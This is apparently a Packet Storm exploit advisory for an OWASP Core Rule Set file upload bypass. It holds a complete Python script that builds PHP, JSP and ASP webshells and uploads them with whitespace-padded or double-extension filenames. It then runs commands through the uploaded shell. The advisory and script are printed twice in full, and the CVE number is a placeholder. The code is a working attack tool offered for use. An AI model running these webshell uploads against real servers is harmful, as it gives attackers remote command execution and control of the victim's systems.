Description
This proof of concept demonstrating a weakness in some web applications protected by OWASP Core Rule Set CRS or similar filters, where file upload validation can be bypassed using ambiguous filename formatting...
Basic Information
ID
PACKETSTORM:219846
Published
Apr 27, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : OWASP CRS 3.3.9, 4.25.x LTS, and 4.8.x. File Upload Bypass via Filename Whitespace / Extension Parsing Weakness |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://owasp.org/ |
==================================================================================================================================
[+] Summary : a weakness in some web applications protected by OWASP Core Rule Set (CRS) or similar filters, where file upload validation can be bypassed using ambiguous filename formatting.
[+] POC :
#!/usr/bin/env python3
import requests
import sys
import argparse
import os
from urllib.parse import urljoin
class CRSBypassExploit:
def __init__(self, target_url, upload_endpoint, verbose=False):
self.target_url = target_url.rstrip('/')
self.upload_endpoint = upload_endpoint
self.verbose = verbose
self.session = requests.Session()
def log(self, message, level="INFO"):
if self.verbose or level == "ERROR":
colors = {
"INFO": "\033[94m",
"SUCCESS": "\033[92m",
"ERROR": "\033[91m",
"WARNING": "\033[93m"
}
print(f"{colors.get(level, '')}[{level}] {message}\033[0m")
def generate_webshell_php(self, cmd_param="cmd"):
return f"""<?php
if (isset($_REQUEST['{cmd_param}'])) {{
$cmd = $_REQUEST['{cmd_param}'];
echo "<pre>" . shell_exec($cmd) . "</pre>";
}} else {{
echo "Webshell loaded. Use ?{cmd_param}=command";
}}
?>"""
def generate_webshell_jsp(self, cmd_param="cmd"):
return f"""<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("{cmd_param}");
if (cmd != null) {{
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {{
out.println(line);
}}
}}
%>"""
def generate_webshell_asp(self, cmd_param="cmd"):
return f"""<%
Dim cmd
cmd = Request("{cmd_param}")
If cmd <> "" Then
CreateObject("WScript.Shell").Run cmd, 0, True
End If
%>"""
def upload_file(self, file_content, original_filename, extension, whitespace_position="before"):
if whitespace_position == "before":
filename = f"{original_filename}. {extension}"
elif whitespace_position == "after":
filename = f"{original_filename}.{extension} "
elif whitespace_position == "both":
filename = f"{original_filename}. {extension} "
elif whitespace_position == "double":
filename = f"{original_filename}.{extension} "
else:
filename = f"{original_filename}.{extension}"
files = {
'file': (filename, file_content,
'application/x-httpd-php' if extension == 'php' else 'application/x-jsp')
}
try:
url = urljoin(self.target_url, self.upload_endpoint)
response = self.session.post(url, files=files)
self.log(f"Uploaded: {filename}", "INFO")
self.log(f"Response status: {response.status_code}", "INFO")
return {
'success': response.status_code < 400,
'filename': filename,
'response': response.text,
'status_code': response.status_code
}
except Exception as e:
self.log(f"Upload failed: {e}", "ERROR")
return None
def exploit_php(self, original_filename="shell"):
self.log("Attempting PHP webshell upload...", "INFO")
content = self.generate_webshell_php()
patterns = ['before', 'after', 'both', 'double']
for pattern in patterns:
self.log(f"Trying pattern: {pattern}", "INFO")
result = self.upload_file(content, original_filename, "php", pattern)
if result and result['success']:
self.log(f"SUCCESS! Uploaded with pattern: {pattern}", "SUCCESS")
return result
self.log("All PHP patterns failed", "WARNING")
return None
def exploit_jsp(self, original_filename="shell"):
self.log("Attempting JSP webshell upload...", "INFO")
content = self.generate_webshell_jsp()
patterns = ['before', 'after', 'both', 'double']
for pattern in patterns:
self.log(f"Trying pattern: {pattern}", "INFO")
result = self.upload_file(content, original_filename, "jsp", pattern)
if result and result['success']:
self.log(f"SUCCESS! Uploaded with pattern: {pattern}", "SUCCESS")
return result
self.log("All JSP patterns failed", "WARNING")
return None
def test_webshell(self, upload_path, cmd="whoami"):
try:
url = urljoin(self.target_url, upload_path)
response = self.session.get(url, params={'cmd': cmd})
if response.status_code == 200 and response.text:
self.log(f"Webshell working! Command output: {response.text[:200]}", "SUCCESS")
return True
else:
self.log("Webshell test failed", "WARNING")
return False
except Exception as e:
self.log(f"Test failed: {e}", "ERROR")
return False
def exploit_double_extension(self):
self.log("Attempting double-extension bypass...", "INFO")
content = self.generate_webshell_php()
filename = "shell. php.jpg"
files = {
'file': (filename, content, 'image/jpeg')
}
try:
url = urljoin(self.target_url, self.upload_endpoint)
response = self.session.post(url, files=files)
if response.status_code < 400:
self.log(f"Double-extension upload successful: {filename}", "SUCCESS")
return {
'success': True,
'filename': filename,
'status_code': response.status_code
}
else:
self.log("Double-extension upload failed", "WARNING")
return None
except Exception as e:
self.log(f"Double-extension upload failed: {e}", "ERROR")
return None
def main():
parser = argparse.ArgumentParser(description='OWASP CRS Bypass Exploit - File Upload with Whitespace Padding')
parser.add_argument('-u', '--url', required=True)
parser.add_argument('-e', '--endpoint', default='/upload')
parser.add_argument('-t', '--type', choices=['php', 'jsp', 'both'], default='both')
parser.add_argument('-v', '--verbose', action='store_true')
parser.add_argument('-c', '--command', default='whoami')
args = parser.parse_args()
print("=" * 60)
print("OWASP CRS Bypass Exploit - CVE-2025-XXXXX")
print("=" * 60)
exploit = CRSBypassExploit(args.url, args.endpoint, args.verbose)
results = []
if args.type in ['php', 'both']:
result = exploit.exploit_php()
if result:
results.append(('PHP', result))
if args.type in ['jsp', 'both']:
result = exploit.exploit_jsp()
if result:
results.append(('JSP', result))
double_result = exploit.exploit_double_extension()
if double_result:
results.append(('Double Extension', double_result))
if results:
print("\n" + "=" * 60)
print("EXPLOITATION SUMMARY")
print("=" * 60)
for exploit_type, result in results:
print(f"\n[+] {exploit_type} exploit successful!")
print(f" Filename: {result.get('filename')}")
print(f" Status: {result.get('status_code', 'N/A')}")
print(f"\n[*] Testing webshell with command: {args.command}")
exploit.test_webshell(result.get('filename'), args.command)
else:
print("\n[-] Exploitation failed!")
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : OWASP CRS 3.3.9, 4.25.x LTS, and 4.8.x. File Upload Bypass via Filename Whitespace / Extension Parsing Weakness |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://owasp.org/ |
==================================================================================================================================
[+] Summary : a weakness in some web applications protected by OWASP Core Rule Set (CRS) or similar filters, where file upload validation can be bypassed using ambiguous filename formatting.
[+] POC :
#!/usr/bin/env python3
import requests
import sys
import argparse
import os
from urllib.parse import urljoin
class CRSBypassExploit:
def __init__(self, target_url, upload_endpoint, verbose=False):
self.target_url = target_url.rstrip('/')
self.upload_endpoint = upload_endpoint
self.verbose = verbose
self.session = requests.Session()
def log(self, message, level="INFO"):
if self.verbose or level == "ERROR":
colors = {
"INFO": "\033[94m",
"SUCCESS": "\033[92m",
"ERROR": "\033[91m",
"WARNING": "\033[93m"
}
print(f"{colors.get(level, '')}[{level}] {message}\033[0m")
def generate_webshell_php(self, cmd_param="cmd"):
return f"""<?php
if (isset($_REQUEST['{cmd_param}'])) {{
$cmd = $_REQUEST['{cmd_param}'];
echo "<pre>" . shell_exec($cmd) . "</pre>";
}} else {{
echo "Webshell loaded. Use ?{cmd_param}=command";
}}
?>"""
def generate_webshell_jsp(self, cmd_param="cmd"):
return f"""<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("{cmd_param}");
if (cmd != null) {{
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {{
out.println(line);
}}
}}
%>"""
def generate_webshell_asp(self, cmd_param="cmd"):
return f"""<%
Dim cmd
cmd = Request("{cmd_param}")
If cmd <> "" Then
CreateObject("WScript.Shell").Run cmd, 0, True
End If
%>"""
def upload_file(self, file_content, original_filename, extension, whitespace_position="before"):
if whitespace_position == "before":
filename = f"{original_filename}. {extension}"
elif whitespace_position == "after":
filename = f"{original_filename}.{extension} "
elif whitespace_position == "both":
filename = f"{original_filename}. {extension} "
elif whitespace_position == "double":
filename = f"{original_filename}.{extension} "
else:
filename = f"{original_filename}.{extension}"
files = {
'file': (filename, file_content,
'application/x-httpd-php' if extension == 'php' else 'application/x-jsp')
}
try:
url = urljoin(self.target_url, self.upload_endpoint)
response = self.session.post(url, files=files)
self.log(f"Uploaded: {filename}", "INFO")
self.log(f"Response status: {response.status_code}", "INFO")
return {
'success': response.status_code < 400,
'filename': filename,
'response': response.text,
'status_code': response.status_code
}
except Exception as e:
self.log(f"Upload failed: {e}", "ERROR")
return None
def exploit_php(self, original_filename="shell"):
self.log("Attempting PHP webshell upload...", "INFO")
content = self.generate_webshell_php()
patterns = ['before', 'after', 'both', 'double']
for pattern in patterns:
self.log(f"Trying pattern: {pattern}", "INFO")
result = self.upload_file(content, original_filename, "php", pattern)
if result and result['success']:
self.log(f"SUCCESS! Uploaded with pattern: {pattern}", "SUCCESS")
return result
self.log("All PHP patterns failed", "WARNING")
return None
def exploit_jsp(self, original_filename="shell"):
self.log("Attempting JSP webshell upload...", "INFO")
content = self.generate_webshell_jsp()
patterns = ['before', 'after', 'both', 'double']
for pattern in patterns:
self.log(f"Trying pattern: {pattern}", "INFO")
result = self.upload_file(content, original_filename, "jsp", pattern)
if result and result['success']:
self.log(f"SUCCESS! Uploaded with pattern: {pattern}", "SUCCESS")
return result
self.log("All JSP patterns failed", "WARNING")
return None
def test_webshell(self, upload_path, cmd="whoami"):
try:
url = urljoin(self.target_url, upload_path)
response = self.session.get(url, params={'cmd': cmd})
if response.status_code == 200 and response.text:
self.log(f"Webshell working! Command output: {response.text[:200]}", "SUCCESS")
return True
else:
self.log("Webshell test failed", "WARNING")
return False
except Exception as e:
self.log(f"Test failed: {e}", "ERROR")
return False
def exploit_double_extension(self):
self.log("Attempting double-extension bypass...", "INFO")
content = self.generate_webshell_php()
filename = "shell. php.jpg"
files = {
'file': (filename, content, 'image/jpeg')
}
try:
url = urljoin(self.target_url, self.upload_endpoint)
response = self.session.post(url, files=files)
if response.status_code < 400:
self.log(f"Double-extension upload successful: {filename}", "SUCCESS")
return {
'success': True,
'filename': filename,
'status_code': response.status_code
}
else:
self.log("Double-extension upload failed", "WARNING")
return None
except Exception as e:
self.log(f"Double-extension upload failed: {e}", "ERROR")
return None
def main():
parser = argparse.ArgumentParser(description='OWASP CRS Bypass Exploit - File Upload with Whitespace Padding')
parser.add_argument('-u', '--url', required=True)
parser.add_argument('-e', '--endpoint', default='/upload')
parser.add_argument('-t', '--type', choices=['php', 'jsp', 'both'], default='both')
parser.add_argument('-v', '--verbose', action='store_true')
parser.add_argument('-c', '--command', default='whoami')
args = parser.parse_args()
print("=" * 60)
print("OWASP CRS Bypass Exploit - CVE-2025-XXXXX")
print("=" * 60)
exploit = CRSBypassExploit(args.url, args.endpoint, args.verbose)
results = []
if args.type in ['php', 'both']:
result = exploit.exploit_php()
if result:
results.append(('PHP', result))
if args.type in ['jsp', 'both']:
result = exploit.exploit_jsp()
if result:
results.append(('JSP', result))
double_result = exploit.exploit_double_extension()
if double_result:
results.append(('Double Extension', double_result))
if results:
print("\n" + "=" * 60)
print("EXPLOITATION SUMMARY")
print("=" * 60)
for exploit_type, result in results:
print(f"\n[+] {exploit_type} exploit successful!")
print(f" Filename: {result.get('filename')}")
print(f" Status: {result.get('status_code', 'N/A')}")
print(f"\n[*] Testing webshell with command: {args.command}")
exploit.test_webshell(result.get('filename'), args.command)
else:
print("\n[-] Exploitation failed!")
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================